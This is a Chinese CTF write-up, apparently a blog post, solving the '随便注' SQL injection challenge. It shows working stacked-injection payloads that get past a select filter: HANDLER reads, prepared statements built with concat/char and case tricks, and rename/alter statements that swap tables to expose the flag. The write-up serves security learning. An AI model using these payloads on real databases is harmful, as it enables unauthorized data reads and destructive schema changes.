ctf (随便注)

知识点

堆叠注入

handler语句

预编译处理

alter、rename语句

开始

先随便注入一个万能语句看看。1'or 1=1#

 有回应但没获取什么有效信息我们继续看一下回显数。1' order by 3#

发现回显数是2。我们再看一下回显位置。1' union select 1,2 #

我们发现select被过滤了,于是我们无法使用联合查询语句了。

这是后我们可以试试功能性更强的堆叠注入能否使用。

我们直接看表 1';show tables # 

我们对两个表分别查询。

注:

1在windows系统中当是数据库、表、字段名时,我们应用反单引号将数字括起来,而单引号和双引号用与字符串。在linux系统中我们对单引号和反单引号不做区分。

2一般以数字命名的数据库、表、字段是要用引号括起来的。   

1'; show columns from words #

1'; show columns from `1919810931114514` #

 

 

我们在1919810931114514表中发现了flag字段。

因为select被过滤我们得想新的办法来读取flag的内容。

法一 handler

这个方法最为直接。使用handler打开并读取。

1' ;handler  `1919810931114514` open; handler `1919810931114514` read first #

 

法二 预编译处理

应用堆叠语句+预编译处理我们可以对select进行处理。

处理方法1 使用concat()语句将分开的select再合并。

1'; 

set @sql=concat('s','elect','*from `1919810931114514`');

prepare a from @sql;

execute a;#

定义语句 预执行 执行

 

结果我们得到了这样的反馈。经过查找发现strstr()是区分大小写的于是我们改一下set和prepare的大小写试试。

1'; 

Set @sql=concat('s','elect','*from `1919810931114514`');

Prepare a from @sql;

execute a;#

 

成功。

处理方法2 我们可以用concat()连接并用char()将select对应的ASCII码的数字转化为select。

1'; 

Set @sql=concat(char(115,101,108,101,99,116),'*from `1919810931114514`');

Prepare a from @sql;

execute a;#

 

成功。

法三 万能注入语句与username和password相关。

由于我们最开始在使用万能注入语句时有反应并且我们在words表中发现了id字段。

那我们可知在使用万能注入语句时,应出的是id的内容。

如果我们将id的名字给了flag,将words的名字给了1919810931114514那么我们再使用万能注入语句后获得的不就是flag的内容了吗。

1';

rename table words to words1;

rename table `1919810931114514` to words;  

alter table words change flag id varchar(100) ;#

修改完后我们输入万能密码查看回显。 

成功。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值